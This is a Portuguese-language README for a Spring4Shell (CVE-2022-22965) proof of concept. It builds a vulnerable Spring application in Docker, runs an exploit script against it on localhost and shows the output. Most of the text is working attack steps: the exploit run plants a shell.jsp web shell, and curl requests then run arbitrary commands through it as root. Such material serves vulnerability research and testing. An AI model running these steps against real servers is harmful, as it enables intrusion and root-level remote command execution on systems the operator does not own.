
CVE-2022-22965 (Spring4Shell) Prova de Conceito

A compilação baseada em BuildKit é necessária, então você precisa habilitá-la.
A maneira mais fácil é definir a variável de ambiente DOCKER_BUILDKIT=1 ao invocar o comando docker build, por exemplo:
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
Caso contrário, para habilitar o docker BuildKit por padrão, defina o recurso de configuração do daemon em /etc/docker/daemon.json como true e reinicie o daemon:
{ "features": { "buildkit": true } }
Dessa forma, você pode simplesmente executar
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Spring4Shell PoC Spring Application</title>
</head>
<body>
Hello World! Exploit me!
</body>
</html>
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
Se tudo ocorreu bem, execute comandos arbitrários no contêiner através da porta HTTP do Tomcat, por exemplo:
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)
//
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root
//
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l
//